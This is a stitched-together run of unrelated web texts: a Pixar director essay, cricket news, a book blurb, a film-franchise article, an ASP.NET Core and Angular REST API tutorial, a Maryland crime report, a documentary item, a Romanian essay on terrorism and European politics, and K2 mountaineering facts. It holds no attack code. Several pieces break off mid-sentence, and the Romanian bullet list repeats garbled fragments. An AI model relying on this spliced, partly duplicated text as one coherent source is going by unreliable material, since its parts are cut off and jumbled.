Lasseter directed the films that launched Pixar into the public eye, and his personal passion for cars has undoubtedly sold mountains of merchandise for Disney—but his true talent appears to be as an executive shepherding other creators’ works through to theaters and helping make those ideas the best emotional connection devices they can be. He and Ed Catmull effectively saved Disney Animation Studios, the crown jewel of Walt Disney’s empire, from being shut down, turning it back into an juggernaut. But as a director, aside from Toy Story and the infamously rushed theatrical production of Toy Story 2, Lasseter’s work is thematically scattershot, from the "stand up for yourself, especially when you’re weird" message of A Bug’s Life, to "appreciate the pleasures of small-town life" in Cars, to whatever the hell it meant to have Larry The Cable Guy’s Mater as an accidental spy in Cars 2.
Stanton clearly thought that modern audiences would care about Edgar Rice Burroughs’ relatively obscure character John Carter of Mars as much as they did about his other notable creation, pop-culture staple Tarzan. That insistence led to a notorious quagmire, and now has him working on the anticipated but somewhat dubious Finding Nemo sequel Finding Dory. But his other films, including the staggeringly brilliant WALL-E (which still feels daring throughout the eerily silent and achingly romantic first act) and gargantuan success that is Finding Nemo, don’t have much in common, save for interest in how love is best expressed (WALL-E and Marlin essentially both follow the objects of their affection). For some, this diversity is a sign of fierce, boundless creativity. But there’s a value to placing a director’s works in a row and letting them play in concert with each other. That’s difficult to do with Lasseter and Stanton, and with Bird, it’s a problem because of the message critics keep noticing much to the chagrin of his fans.
The infinitesimal chorus of detractors around Brad Bird’s filmography is slowly gaining steam, especially after Tomorrowland echoed John Carter and The Lone Ranger as unwieldy debacles. And there’s a pervasive notion that Bird’s filmography has some Randian undertones: It’s hard to ignore the fact that Bird’s three films for Disney and Pixar all center on heroic exceptionalism (Mr. Incredible, Remy, Frank Walker) that can only be ruined by the presence and potentially villainous interference of undeserving "normal" people (Syndrome, Skinner/Anton Ego, everyone who doesn’t get a Tomorrowland pin).
But neither scattershot themes or unseemly sociological ideas show up in Docter’s films, which are all tied directly to a specific human emotion that isn’t love (the most ubiquitous emotional motivator). Monsters Inc. takes place in a world that uses human feelings literally harvested from children—the screams of terror, and later uproarious laughter—as an energy source. The ethics behind coaxing or forcibly taking those reactions forms the crux of the finale. Up is about processing grief, and how it’s never too late in life to actually learn how to live. The pinnacle of the film is Carl’s great sacrifice: literally letting go of the symbol of his grief for his wife—his soaring house, a quintessentially mesmerizing Pixar image—and watching it float down through the clouds after he saves Russell, Dug, and Kevin from Muntz. Inside Out is an even more internal investigation, anthropomorphizing emotions, and underlining again and again how they work together. Every person appears to have a different dominant emotion in their Headquarters, and each person’s team has to learn that the strongest, most integral memories are not defined by a single emotion. And Inside Out rectifies the one glaring absence of Docter’s previous films: a lack of central female characters. In fact, it takes a marvelous (and sadly rare) stance for a mainstream movie—that young girls don't always have to put on a smile and act happy.
This is where Docter having little involvement with Monsters University makes even more sense. It helps his critical average best the other three directors here—but it also doesn’t fit in with what the films he’s directed are trying to explore. University is at best a commentary on, as The New Yorker’s Emily Nussbaum put it, "social class and elitism"—and at worst a watered-down, animated Animal House. But neither of those readings align with Docter’s trio of films for Pixar.
Docter once said, "I don’t really like villains, they don’t seem like a reflection of reality. I don’t think anybody goes to sleep thinking, 'How can I do evil tomorrow?'" His three films don’t have traditional villains who mirror the protagonists, instead favoring to tease out deeper emotional responses from the ensemble over the course of a journey. In Monsters, Inc., the protagonists are monsters who scare children, turning the fantastical villains projected by the minds of children into heroes taking down a symbolically evil corporation after they learn to care for what was previously unknown. Muntz in Up is both a foolishly selfish explorer and the inspiration for Carl and Ellie’s entire relationship. And no single character in Inside Out could be labeled the antagonist: the entire point is that Riley’s emotions constantly overtake each other, and Joy learning to incorporate Sadness, ceding control to a co-lead as a character, is the most compelling arc of the film.
John Lasseter wants every Pixar (and now Disney Animation) film to make audiences deeply feel emotions and connect to characters, but Docter is the director who most humanizes this goal, who literally puts emotions front and center. I can’t say that any of his three films tops my list as a personal favorite. But I crunched the numbers, and I connected the dots—he just might be Pixar’s best.SRI LANKA TOUR OF INDIA
Angelo Mathews set to return for upcoming India tour
Cricbuzz Staff • Last updated on Tue, 31 Oct, 2017, 08:48 PM
"Angelo and Kusal [Perera] have both recovered and they will be considered for selection for the Indian series. Asela Gunaratne is fit as well," SLC CEO Ashley De Silva said. © Getty
Former captain Angelo Mathews is finally set to return when Sri Lanka visit India for three Tests, three One-Day Internationals and three Twenty20 International in November. Till recently, Mathews, who has been in the news more for his injuries in the past twelve months, had been nursing a grade one tear to his calf muscle which ruled him out of the two-Test series against Pakistan. Kusal Perera and Asela Gunaratne who had been out with hamstring and thumb injuries respectively, have also recovered in time to be considered for selection in the upcoming series.
The return of Sri Lanka's three batting mainstays will serve as a huge fillip to an otherwise diffident team who find themselves in the middle of a poor patch, having lost their last 16 limited-over games, including ODI and T20I series whitewashes at the hands of India and Pakistan.
"Angelo and Kusal Janith [Perera] have both recovered and they will be considered for selection for the Indian series. Asela Gunaratne is fit as well," SLC CEO Ashley De Silva said.
While Sri Lanka did manage to overturn their fortune with a Test series win in the |
, and watering hole in the great desert. Those songs were passed down to the Aboriginals, and for centuries they have served not only as a shared heritage but as a living map. Sing the right song, and it can guide you across the desert. Lose the words, and you will die.
Into this landscape steps Bruce Chatwin, the greatest travel writer of his generation, who comes to Australia to learn these songs. A born wanderer, whose lust for adventure has carried him to the farthest reaches of the globe, Chatwin is entranced by the cultural heritage of the Aboriginals. As he struggles to find the deepest meaning of these ancient, living songs, he is forced to embark on a much more difficult journey—through his own history—to reckon with the nature of language itself.
Part travelogue, part memoir, part novel, The Songlines is one of Bruce Chatwin’s final—and most ambitious—works. From the author of the bestselling In Patagonia and On the Black Hill, a sweeping exploration of a landscape, a people, and one man’s history, it is the sort of book that changes the reader forever.
This ebook features an illustrated biography of Bruce Chatwin including rare images and never-before-seen documents from the author’s estate.Murder on the Orient Express, your mom’s favorite movie of the year, has been a quiet beast at the box office. The $55 million film is about to cross $100 million at the domestic box office and has grossed $311 million worldwide. It’s a sleeper hit, a movie for older audiences that kept its nose to the ground and became a blockbuster while the kids were off arguing about Justice League and Star Wars. Of course they’re making a sequel.
Now, director and star Kenneth Branagh is saying that this could open the door to an Agatha Christie cinematic universe. And while that collection of words may give you a headache, the truth is that he’s totally correct.
Branagh knows a thing or two about cinematic universes, having helmed the the first (and underrated!) Thor movie back when the MCU was just a dream and not the most influential film franchise of the past decade. Speaking with the Associated Press, he pondered if a similar template could be applied to the works of author Agatha Christie, who wrote the novel of Murder on the Orient Express and numerous other classic whodunits:
I think there are possibilities, aren’t there? With 66 books and short stories and plays, she — and she often brings people together in her own books actually, so innately — she enjoyed that. You feel as though there is a world — just like with Dickens, there’s a complete world that she’s created — certain kinds of characters who live in her world — that I think has real possibilities.
To be clear, Branagh (who is set to return as Belgian detective Hercule Poirot in Death on the Nile) says that discussions have not actually happened yet. “I bet they’ve been thinking about it though,” he mused, possibly remembering that Disney is buying 20th Century Fox and will have a hand in future Poirot stories – and Disney loves a franchise.
If anything, Branagh is underselling the prolific Christie, who published 73 novels, 28 short story collections, and 16 plays before passing away in 1976. In addition to Hercule Poirot, who appeared in 33 novels, more than 50 short stories, and one play, Christie also regularly returned to elderly amateur sleuth Miss Marple (12 novels and 20 short stories), and crime-solving duo Tommy and Tuppence (four novels, one short story collection). While these characters never came together Avengers-style to solve a grand mystery, it’s easy to imagine a series of movies where they inhabit the same universe and solve mysteries from their corner of the world.
Murder on the Orient Express is a very good movie, one that takes Christie’s work and updates it just enough for modern audiences. While Christie’s work has been adapted countless times before (you can’t walk two feet without tripping over a BBC TV adaptation of her stories), it represents a smart and fun way to re-introduce her work to the world at large. While I raise an eyebrow at an “Agatha Christie Cinematic Universe,” I appreciate the thought of her novels being brought to the big screen. Bring it on, Branagh.Do you like Angular but have a strong C# background? Do you just don't like node.js? Do you want to try something new for your backend?
Whatever it is that brought you here. You came to the right place!
In this tutorial, we will take a close look at how to build a REST-API with the ASP.NET Core framework. You will not only learn how to create an ASP Core server-application from scratch but also how to create a REST-Endpoint in just a few easy steps.
Although this tutorial is focused on "backend-stuff" we will not forget about the angular fronted! If you follow this guide, you will learn how to integrate our brand-new API into our new or existing angular application.
Ready? Go!
Want to build a node.js backend instead? Check out my tutorial
!
Setting up an ASP.NET Core 2.0 Project
First of all, we need to download and install the dotnet SDK. You can download it at the
.
Afterward, we can create a new project. We are going to use the dotnet-cli (Command Line Interface) in this tutorial. If you are using Visual Studio, there are project-templates, that do exactly the same.
To create a new project, open a console at your desired project location. Then type the following command:
dotnet new webapi -o {name-of-your-project}
Of course, you will need to replace the {} placeholder. E.g.
dotnet new webapi -o myFirstProject
With this command, we tell the dotnet-cli to create a new project after the "webapi" template. It does contain a basic server application with a very basic REST-API. It does not contain any view-components, as we want our angular application to do that part.
There are plenty of other templates available. You can get the full list by using:
dotnet new help
There is also a template named angular. It creates a dotnet server-application and an angular application in only one project directory. It also has features like server-side rendering and hot-reloading files built in. You can use this template if you want to, as well. But it does contain a lot (somewhat fragile) stuff, that maybe is a little bit too much if you are just getting started.
For now, we concentrate on the basics, to keep it as simple as possible.
So many Files...
Compared to a bare-bone node.js application, you will notice, that there are quite a bunch of folders and files in our new project directory.
Let's take a look at what they do!
Program.cs
This file contains the entry point of our application. Every C# program starts with a static method called Main. We can find that method in the class Program inside of this file. All it does is calling the BuildWebHost method.
It is responsible to configure and start the server-app. Quite similar to angular's bootstrap method.
Program.cs public class Program
{
public static void Main ( string [] args )
{
BuildWebHost ( args ). Run ( ) ;
}
public static IWebHost BuildWebHost ( string [] args ) =>
WebHost.CreateDefaultBuilder(args)
.UseStartup<Startup>()
.Build();
}
There is already some configuration going on here. As you can see, the builder is told to use the class Startup, to configure our app. We will take a look at that class next.
Startup.cs
The Startup class is the main configuration file of your class. Here, we add features and services to our server.
The class does contain two methods. The first one is called ConfigureServices.
Startup.cs public void ConfigureServices ( IServiceCollection services )
{
services.AddMvc();
}
This method is called by the runtime, Inside of this method, we add certain services to the services collection passed into the method.
These services can then be requested via
in our classes constructors.
In that way, it is very similar to angular, because both use dependency injection systems. Instead of adding our services to the provider-property of our module, we add it to the provided service-collection.
By default, the MVC-Service (Model-View-Controller) is added. This service is responsible for routing the HTTP-requests to our controllers. Although we do not require a view, we need to use this service for our controllers to work.
The second method is the called Configure. It gets an IApplicationBuilder-instance and the current environment.
Startup.cs public void Configure ( IApplicationBuilder app, IHostingEnvironment env )
{
if ( env.IsDevelopment( ))
{
app.UseDeveloperExceptionPage();
}
app.UseMvc();
}
With this application-builder, we can add middleware to our HTTP-request pipeline. Every request is going through this pipeline. For example, we want to show an exception page, if there was an error in any request. We only want to show that, when in development mode, to not leak any sensible information.
Finally, the last element of our HTTP-pipeline is the MVC-middleware. It is responsible for forwarding the requests to the responsible controller.
Controllers
The "Controllers" folder does contain all of our servers controllers. Surprise!
That folder has to be named exactly like this because the MVC-middleware is explicitly looking for this folder.
What is a Controller?
A controller is just a class that inherits from the Controller class. It is responsible for handling the request of a certain route. There is typically one controller for every REST-endpoint, we want to create.
For example, if you want a "Cat"-endpoint, we would create a Cat-controller that would be responsible for the route "api/cat".
The dotnet-cli has already created a controller for us called "ValuesController". The thirst thing a typically do within a new project is to delete that controller, but it can be useful to keep it around as a reference when you are getting started.
Creating our first Controller
To create our cat-endpoint, we will need to create our first controller. To do so, we create a new file inside of the controller-directory called "CatController.cs". Again, if you are using Visual Studio, there is a fancy template for that.
Our controller consists of a class called CatController. It is decorated by a so-called attribute (Route), that is telling the framework, which route this controller is responsible for. Attributes are similar to the decorators in angular/TypeScript, as they add meta information to the class.
Controllers/CatController.cs using Microsoft.AspNetCore.Mvc;
namespace firstProjectWebApi.Controllers
{
[ Route ( "api/[controller]" )]
public class CatController : Controller
{
}
}
In this example, the controller would be listening for request at the route "api/cat". The "[controller]" part is replaced by the name of the controller by the framework. This only works if you follow the naming convention
{name}Controller.
An equivalent attribute would be this:
Controllers/CatController.cs [Route( "api/cat" )]
The controller does rely on attributes quite excessively.
"REST-API"? Can you eat that?
As I told you already, we are going to create a REST-API. But what is that exactly? Let's find out!
I will try to keep this short: REST is a standardized way of building HTTP-endpoints.
It uses the standard HTTP-verbs like get, post, put & delete to express read, create update & delete (CRUD) operations.
All these methods (verbs) are applied to one endpoint, which represents the object to be modified. This has an object-oriented touch to it,
For example, if I wanted to modify a cat in any way, the endpoint would be named "cat".
Here is how the CRUD operations are modeled.
CRUD Operations
Create:
To create a new object under an endpoint, a post-request is sent to the REST-endpoint containing the new object to create in the post-body.
Read:
To read all objects from an endpoint, e.g if you want to know about all cats, a get-request is sent to the "cat" endpoint. If you are interested in one specific cat, you append the id/name of the cat to the route "cat/cat1".
Update
: To update an object, a put request is sent to the endpoint. The identifier is added to the route e.g. "cat/cat1". The information of the object is added to the put-body.
Delete
: To delete an object, a delete request is sent to the endpoint with the identifier of the wanted object added to the route.
Creating the REST-Endpoint
A typical REST-Endpoint does implement all the CRUD-operations listed above.
Because C# is strongly typed, we need to create a model first. To do that, create a new folder called "Models" inside of the projects root directory. Inside of that new folder, create a new class-file called "Cat.cs".
Inside of there, we create a new class called Cat. Then, we add a property called Name to that class. Of course, you can add more properties to your cat, if you want to.
Models/Cat.cs namespace firstProjectWebApi.Models
{
public class Cat
{
public string Name { get ; set ; }
}
}
Now we are ready to upgrade our endpoint by adding all REST-methods.
So let's go ahead and implement them one by one.
Getting all Elements (Cats)
As stated above, the server should return all elements of an endpoint, when there is get-request to the endpoint itself, without any route-parameter.
To handle this case, we will need to create a new method to our class. All REST-methods have a corresponding C#-method.
So let's create a new method. The name of that method does not matter. We will call it "GetAll" because that is what it does.
Controllers/CatController.cs [HttpGet]
public IEnumerable<Cat> GetAll ( )
{
var list = new List<Cat>();
list.Add( new Cat ( ) { Name = "Lilly" });
list.Add( new Cat ( ) { Name = "Lucy" });
return list;
}
This method is "decorated" by the "HttpGet" attribute, to tell the framework, that this method should handle get-requests, that are pointed directly at the endpoint. Also, we return an IEnumerable of Cats. IEnumerable is basically the base-interface of almost everything that is a collection of items. For example, a list does implement this interface.
We also fake some actual output here. In a real application, this output would be either calculated or read form a database.
Getting one specific Element (Cat)
We querying for a specific cat, we require the id/name of that cat to be passed, as well. In REST, this is done by adding the id/name to the route. E.g. "api/cat/Lilly".
To implement this dynamic route, we add a route parameter to the "HttpGet" attribute. This route parameter is marked by curled-braces. The name inside of that braces will be the name of the of our parameter.
Controllers/CatController.cs [ HttpGet ( "{name}" )]
public Cat Get ( string name )
{
return new Cat ( ) { Name = name };
}
Again, we are faking the output here.
Inserting a new Element (Cat)
To insert a new element at our endpoint, the HTTP-post method is used. Because of that, we need to use the "HttpPost" attribute instead.
Furthermore, we need to get the cat, we need to insert from the body of the request. For that we add a parameter called cat to the method and mark it with the "FromBody"-attribute. The body of the request will then be automatically extracted, parsed and passed as a parameter to our method.
Otherwise, the method is not too spectacular.
Controllers/Controller.cs [HttpPost]
public Cat Insert ( [FromBody]Cat cat )
{
return cat;
}
Updating an existing Element (Cat)
To update an existing element at our endpoint, we are using the HTTP-put method. Again, there is a different attribute for that. Also, we now need to parameters. The name of the cat to update and the new cat object itself. This makes not much sense here because our cat does only have a name, but typically objects do have much more properties that that.
The name/id of the object is part of the route, just like getting a specific element. The cat object, on the other hand, is included in the body of the request.
Controllers/CatController.cs [ HttpPut ( "{name}" )]
public Cat Update ( string name, [FromBody]Cat cat )
{
cat.Name = name;
return cat;
}
Deleting an Element (Cat)
Last but not least, we need to provide the possibility to delete an element. We will use the HTTP-delete verb for that, so we choose our attribute accordingly. We also need the name of the cat, we want to delete. This information is typically passed as a route-parameter.
Controllers/CatController.cs [ HttpDelete ( "{name}" )]
public void Delete ( string name )
{
}
Consuming our ASP.NET Core REST-API in an Angular Application
Now I will show you real quick, how to integrate your API into your angular application.
For that, I assume that you know how to set up a basic application using the angular-cli. Some basic understanding could help, as well.
If you feel like you are lacking knowledge in one or both of the mentioned things, I recommend you read my
first.
So first we create a basic angular-cli application. Of course, you can do this with any existing application, as well. All we are going to do here is to create an angular service, that consumes our new REST-API.
For that, we are using the angular HttpClient. So you need to import the HttpClientModule into a
of your choice, but typically the App-Module.
Next, create a new service. I will call that one "CatService".
Here is what this service looks like:
cat.service.ts import { Injectable } from '@angular/core' ;
import { Observable } from 'rxjs/Observable' ;
import { HttpClient } from '@angular/common/http' ;
export interface Cat {
name: string ;
}
()
export class CatService {
constructor ( private http: HttpClient ) {}
getAllCats ( ): Observable<Cat[]> {
return this.http.get<Cat[]>( 'http://localhost:8000/api/cats' );
}
getCat ( name: string ): Observable<Cat> {
return this.http.get<Cat>( 'http://localhost:8000/api/cats/' + name);
}
insertCat ( cat: Cat ): Observable<Cat> {
return this.http.post<Cat>( 'http://localhost:8000/api/cats/', cat);
}
updateCat ( cat: Cat ): Observable< void > {
return this.http.put< void >( 'http://localhost:8000/api/cats/' + cat.name, cat);
}
deleteCat ( name: string ) {
return this.http.delete( 'http://localhost:8000/api/cats/' + name);
}
}
Conclusion
In this tutorial, we learned how to set up a server-application with ASP.NET Core from scratch and created a very basic but functional REST-API using the build in MVC-Middleware.
I hope you enjoyed this post.
If you did please hit the share buttons below and help other people building their APIs, as well.
Have a fantastic day!Police in Maryland said they have arrested two people in the slaying of a transgender woman in Rockville last month.
On April 16 at about 11:49 a.m., Montgomery County authorities found Keyonna Blakeney dead at a Red Roof Inn as a result of multiple sharp force injuries, Montgomery County Police said in a statement. Blakeney and several acquaintances were renting rooms at the Red Roof Inn to engage in prostitution, police said, and she was killed after an argument.
“Someone out there is evil who did this,” Blakeney’s father, Kenny Linton, told The Washington Post last month. “My son was, is, very special. He was kindhearted. He was down-to-earth. He would give you his last if he had it.”
[Weekend homicide victim in Montgomery was transgender female]
After an investigation, warrants were issued for Arbra Arnie Bethea, 17, of the 4900 block of East Capitol Street SE, and Keith Christopher Renier, 21, of the 4200 block of Fort Dupont Terrace SE, charging them with murder as well as for armed robbery, conspiracy to commit first-degree murder and conspiracy to commit armed robbery, police said. They were arrested by Montgomery County Police and the U.S. Marshals in Washington on Tuesday, and Bethea has been charged as an adult, according to police.Much like its mysterious subject, Louis Theroux’s My Scientology Movie has been shrouded in secrecy. Despite premiering at the London Film Festival last year, all footage of the documentary has been kept offline; with no release date or trailer on display.
Now, though, we’ve finally been given our first glimpse. Ahead of the film’s screening at Tribeca later this month, EW has been blessed with an exclusive two-minute teaser, as well as a statement from the man himself.
“More than 10 years ago, I approached the church to see if they might let me in to make a documentary,” Theroux reveals. “I thought I might be able to bring a sense of nuance and perspective to people’s understanding of a faith that has been much ridiculed. Just as I have done with other non-mainstream stories, I hoped to see it from the inside and make a human connection with its clerics and congregants. But I was repeatedly turned down.”
After his requests were eventually accepted, Theroux joined forces with film director John Dower to make the film, though he stresses that it wasn’t easy. “I came to believe I was being tailed by private investigators,” he continues. “Someone in Clearwater, Florida attempted to hack my emails, we were filmed covertly, I also had the police called on me more than once, not to mention a blizzard of legal letters from Scientology lawyers. And yet, at every step, I remained open to Scientology’s good points and tried to see it for what it is: a system of belief that is not so different from other religions, capable of enlarging the soul as well as crushing the spirit.”
See the full clip below:Tweet
Puncte cheie:
Sfârşitul ordinii liberale este tot mai aproape de noi, dacă nu cumva procesul destrămării ţesăturii de esenţă liberală, tolerantă şi deschisă a civilizaţiei occidentale deja a început;
, dacă nu cumva procesul destrămării ţesăturii de esenţă liberală, tolerantă şi deschisă a civilizaţiei occidentale deja a început; Teroarea islamistă va provoca inevitabil o reacţie de apărare a Europei, care va transforma politic şi, în sensul larg al termenului, cultural, Uniunea Europeană, prin aducerea la putere a celor care vor şti să-i convingă pe oameni că pot să-i protejeze de agresiunea fanatică a unui Islam care a ratat întâlnirea cu modernitatea, asupra unui Occident tot mai confuz ;
, care va transforma politic şi, în sensul larg al termenului, cultural, Uniunea Europeană, prin aducerea la putere a celor care vor şti să-i convingă pe oameni că pot să-i protejeze de ; Privind spre peisajul politic în continuă schimbare din Franţa, Germania, Olanda, Austria etc., mă tem că această nouă generaţie de lideri europeni nu poate fi decât una non-liberală şi intolerantă, de esenţă autoritaristă, una care aminteşte în mod evident de discursul tinerei generaţii politice a anilor ’30 ai secolului trecut ;
una care aminteşte în mod evident de discursul tinerei generaţii politice a anilor ’30 ai secolului trecut Camioanele terorii lovesc o Europă debusolată. Aproape firesc, spunem astăzi cu resemnare, zorii noi ere a naţionalismului şi protecţionismului mijesc ameninţător, pe ruinele prea frumoasei petreceri europene strivite sub roţile camioanelor de la Nisa şi Berlin;
mijesc ameninţător, pe ruinele prea frumoasei petreceri europene strivite sub roţile camioanelor de la Nisa şi Berlin; Europa este în centrul acestui proces de declin al liberalismului, tot aşa cum, la sfârşitul secolului al XVIII-lea şi începutul secolului al XIX-lea, se afla în centrul intelectual, cultural şi politic de iradiere a liberalismului spre alte continente. Dar nici Statele Unite nu sunt departe de această stare a revoltei, a saţietăţii generalizate, a respingerii tolerării pe mai departe a atacurilor celor primiţi din exterior (în general, din lumea islamică) asupra identităţii, libertăţilor şi tradiţiilor vieţii occidentale;
, tot aşa cum, la sfârşitul secolului al XVIII-lea şi începutul secolului al XIX-lea, se afla în centrul intelectual, cultural şi politic de iradiere a liberalismului spre alte continente. Dar nici Statele Unite nu sunt departe de această din exterior (în general, din lumea islamică) asupra identităţii, libertăţilor şi tradiţiilor vieţii occidentale; Dacă în analize precedente mă mai îndoiam asupra acestei perspective şi speram în refacerea premiselor pentru continuarea ordinii liberale şi a adâncirii integrării ţărilor de pe continent, astăzi semnele „căderii” sistemului libertăţilor şi a încrederii în Europa unită sau în alianţa transatlantică (deci în ideea strategică de Occident euroatlantic) apar peste tot, părând să anunţe evenimente şi tulburări încă şi mai grave în politica lumii;
în Europa unită sau în alianţa transatlantică (deci în ideea strategică de Occident euroatlantic) apar peste tot, părând să anunţe evenimente şi tulburări încă şi mai grave în politica lumii; Baricadarea Europei în faţa asaltului Islamului politic devine, pe zi ce trece, reacţia inevitabilă a „cetăţii asediate”, reacţie pe care nu o mai putem acum decât înţelege, cu resemnare şi gust amar. Însoţită de o suită de consecinţe politice colaterale, care nu au o legătură directă cu islamismul şi terorismul dar sunt o reflectare a acestora, „baricadarea” va conduce inevitabil la oprirea integrării europene, reinventarea frontierelor, reintroducerea controalelor poliţieneşti sistematice şi redescoperirea sentimentului suspiciunii, respingerea politică a vecinăţăţilor Uniunii Europene, fie sudică, fie estică, precum şi a imigranţilor şi străinilor (xenofobie), de oriunde ar veni ei, va face apel tot mai mult la identitatea creştină şi naţională, la etnie, chiar la specificuri regionale şi identităţi locale, va spori neîncrederea în instituţiile şi politicile europene considerate „alienate”, iar la modul general va afecta Paradigma Liberală a ultimelor decenii, adâncind falia sistem versus antisistem din bătăliile politice interne;
devine, pe zi ce trece, reacţia inevitabilă a, reacţie pe care nu o mai putem acum decât înţelege, cu resemnare şi gust amar. Însoţită de o suită de consecinţe politice colaterale, care nu au o legătură directă cu islamismul şi terorismul dar sunt o reflectare a acestora, „baricadarea” va conduce inevitabil la oprirea integrării europene, reinventarea frontierelor, reintroducerea controalelor poliţieneşti sistematice şi redescoperirea sentimentului suspiciunii, respingerea politică a vecinăţăţilor Uniunii Europene, fie sudică, fie estică, precum şi a imigranţilor şi străinilor (xenofobie), de oriunde ar veni ei, va face apel tot mai mult la identitatea creştină şi naţională, la etnie, chiar la specificuri regionale şi identităţi locale, va spori neîncrederea în instituţiile şi politicile europene considerate „alienate”, iar la modul general va afecta Paradigma Liberală a ultimelor decenii, adâncind falia sistem versus antisistem din bătăliile politice interne; Atacurile camioanelor de la Nisa şi Berlin, împotriva a două simboluri tradiţionale ale vieţii plăcute şi confortabile a Europei, respectiv „Promenada englezilor” din luxosul oraş francez de la Mediterană, chiar de Ziua Franţei, şi Târgul de Crăciun din capitala Germaniei, lovesc aşadar în inima sistemului valoric şi cultural al continentului şi declanşează reacţia de autoapărare a naţiunilor europene în faţa agresiunii radicalismului islamic;
ale vieţii plăcute şi confortabile a Europei, respectiv „Promenada englezilor” din luxosul oraş francez de la Mediterană, chiar de Ziua Franţei, şi Târgul de Crăciun din capitala Germaniei, lovesc aşadar în inima sistemului valoric şi cultural al continentului şi declanşează reacţia de autoapărare a naţiunilor europene în faţa agresiunii radicalismului islamic; Oarecum suprinzător şi contradictoriu, asasinarea în aceeaşi zi a ambasadorului rus la Ankara plasează Rusia de aceeaşi parte a baricadei acestui uriaş război cultural, ca efect al confruntării din Siria, în care Rusia a intervenit masiv împotriva rebelilor din Alep. Occidentul şi Rusia par astăzi de aceeaşi parte a baricadei (spun deocamdată doar „par”), ceea ce va facilita iminentul dialog Trump-Putin de la începutul lui 2017, deşi interesele geostrategice ale Rusiei în Europa au fost până acum şi vor fi în continuare contrare ordinii liberale susţinute de Uniunea Europeană şi Statele Unite;
, ca efect al confruntării din Siria, în care Rusia a intervenit masiv împotriva rebelilor din Alep. Occidentul şi Rusia par astăzi de aceeaşi parte a baricadei (spun deocamdată doar „par”), ceea ce de la începutul lui 2017, deşi interesele geostrategice ale Rusiei în Europa au fost până acum şi vor fi în continuare contrare ordinii liberale susţinute de Uniunea Europeană şi Statele Unite; Am mai spus-o şi cu alte ocazii, ne aşteaptă un război lung şi greu, de uzură. Fiecare generaţie are în destinul ei să poarte un război, fierbinte sau rece, convenţional sau hibrid, explicit sau implicit, un război care retrasează ordinea mondială şi reformulează valorile dominante. Acesta, pe care îl vedem în plină desfăşurare, este războiul generaţiei noastre, războiul de supravieţuire a sistemului libertăţilor purtat cu duşmanii liberalismului, fie ei din exteriorul sau din interiorul lumii noastre. Iar falia acestei confruntări se adânceşte pe zi ce trece;
, fierbinte sau rece, convenţional sau hibrid, explicit sau implicit, un război care retrasează ordinea mondială şi reformulează valorile dominante. Acesta, pe care îl vedem în plină desfăşurare, este războiul generaţiei noastre, războiul de supravieţuire a sistemului libertăţilor purtat cu duşmanii liberalismului, fie ei din exteriorul sau din interiorul lumii noastre. Iar falia acestei confruntări se adânceşte pe zi ce trece; La întrebarea „Unde s-a greşit?”, cel mai facil răspuns, speculat politic copios de consorţiul în ascensiune Trump – Le Pen – Nigel Farage – Geert Wilders – Frauke Petry – Norbert Hoffer (şi de alţii care vor veni pe aceeaşi linie) pare a fi: „prea multe libertăţi”, „prea multă generozitate”, „prea multe drepturi pentru străini”, „prea mult s-au închis ochii”, „trebuie să punem piciorul în prag”. Problema este că, aşa cum arată lucrurile astăzi, la Nisa, Bruxelles, Paris sau Berlin, sunt tot mai puţine argumente şi date pentru a-i contrazice cu succes. Intrăm în epoca exagerărilor, în care un exces într-un sens determină un exces în sens opus;
, cel mai facil răspuns, speculat politic copios de consorţiul în ascensiune Trump – Le Pen – Nigel Farage – Geert Wilders – Frauke Petry – Norbert Hoffer (şi de alţii care vor veni pe aceeaşi linie) pare a fi: „prea multe libertăţi”, „prea multă generozitate”, „prea multe drepturi pentru străini”, „prea mult s-au închis ochii”, Problema este că, aşa cum arată lucrurile astăzi, la Nisa, Bruxelles, Paris sau Berlin, sunt tot mai puţine argumente şi date pentru a-i contrazice cu succes. Intrăm în epoca exagerărilor, în care un exces într-un sens determină un exces în sens opus; Din nefericire pentru lumea în care trăim, imigraţia are într-adevăr, în prezent, un efect negativ puternic în politica Europei şi a Statelor Unite şi poate distruge orice lider sau guvern care nu înţelege că oamenii vor să i se spună urgent STOP, cel puţin un timp. O fi sau nu o fi corectă ideea, dar asta este ceea ce vor oamenii acum. Ar fi deci bine ca inclusiv cancelarul Merkel să înţeleagă rapid şi corect acest mesaj de nemulţumire şi această tensiune care pluteşte în aerul politic al Europei şi să îşi ajusteze discursul şi măsurile, înainte de a fi prea târziu, pentru ea şi pentru Uniunea Europeană. Cu atât mai mult cu cât Germania, Franţa, Olanda (foarte posibil şi Marea Britanie, cred eu) intră în an electoral.
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Între atacarea Târgului de Crăciun de la Berlin şi asasinarea ambasadorului rus de la Ankara există mai mult decât simpla coincidenţă a unor atacuri teroriste desfăşurate în aceeaşi zi. Chiar dacă Rusia a avut şi are interese strategice divergente faţă de cele ale Occidentului, atât în Europa cât şi în Orientul Mijlociu, s-a întâmplat ca intervenţia masivă a Rusiei în Siria/Alep, împotriva rebelilor, să o plaseze conjunctural de aceeaşi parte a baricadei, adică de partea ţintelor terorismului islamic. Este interesant de urmărit, în acest sens, declaraţia plină de empatie a preşedintelui Putin faţă de Germania şi familiile victimelor de la Berlin precum şi de condamnare fermă a atacului criminal de la T |
Haversham Godwin-Austen (1834-1923), an early British surveyor and explorer. Godwin-Austen climbed 1,000 meters up a spur of Masherbrum above Urdukas and fixed the approximate height and position of K2 from there, according to Catherine Moorehead, the author of The K2 Man (And His Molluscs), a biography of Godwin-Austen. This alternate name was never recognized.
Balit Name for K2
A name for K2 is Chogori, derived from Balti words chhogo ri, meaning "large mountain." The Chinese call the mountain Qogir meaning "Great Mountain," while Balti locals call it Kechu.
Nickname Is "The Savage Mountain"
K2 is nicknamed the "Savage Mountain" for its severe weather. It is typically climbed in June, July, or August. K2 has never been climbed in winter.
Most Difficult 8,000-Meter Peak
K2 is one of the most difficult of the fourteen 8,000-meter peaks, offering technical climbing, severe weather conditions, and high avalanche danger. As of 2014, over 335 climbers have reached K2's summit, while at least 82 have died.
K2 Has High Fatality Rate
The fatality rate on K2 is 27 percent. If you attempt K2, you have a 1 in 4 chance of dying. Before the 2008 tragedy, of the 198 climbers who summitted the peak, 53 died on K2. That is three times the 9 percent fatality rate on Mount Everest. K2 is, next to Annapurna, the second most dangerous 8,000-meter peak.
1902: First Attempt to Climb K2
